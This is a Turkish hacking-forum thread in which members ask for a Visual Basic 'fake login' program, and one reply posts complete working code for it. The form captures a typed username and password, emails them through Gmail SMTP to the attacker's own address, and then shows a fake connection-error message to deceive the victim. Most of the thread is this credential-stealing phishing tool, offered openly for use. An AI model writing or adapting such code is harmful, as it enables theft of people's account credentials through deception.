VB2008 Fake giriş.

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
29 Kas 2011
106
0
Merhaba geniş aileem. :yaho1
Ben bir fake giriş yapacağım. 2 textbox ve bir commandB. ile yapacağım bunu. Şimdi ;
TextB1 ve TextB2'de yazılanlar commandB1'e tıklanınca gmail'ime gelecek. Böyle bir kod var mı ? :inv

Çok aradıım. <3

LAKİN BULAMADIM ZİRA BANA YARDIM EDERLER. :twist
 
Moderatör tarafında düzenlendi:

Leaderrda

Uzman üye
5 Kas 2011
1,850
0
kardeişm banada öyle bir kod lazım yeniden konu açmak yerine buraya yazayım öyle bikod varsa paylaşırsanız süper olur vb 2006
 

Cruiser Vaqabond

Kıdemli Üye
16 Ağu 2011
2,157
1
New Jersey
2 Text , 2 Button Ekle..


Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Kullanıcı Adı Yanlış")
If TextBox2.Text = "" Then
MsgBox("Şifre Yanlış")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("GMAİLİNİZ", "GMAİLİNİZİN ŞİFRESİ")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("KENDİ GMAİLİNİ")
mail.To.Add("GMAİLİNİZ")
mail.Subject = "Username : " & TextBox2.Text
mail.Body = "Password : " & TextBox1.Text & ","
smtpServer.Send(mail)
MsgBox("Servere Bağlanılamadı Lütfen Tekrar Deneyin")
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub

Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged

End Sub
End Class
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.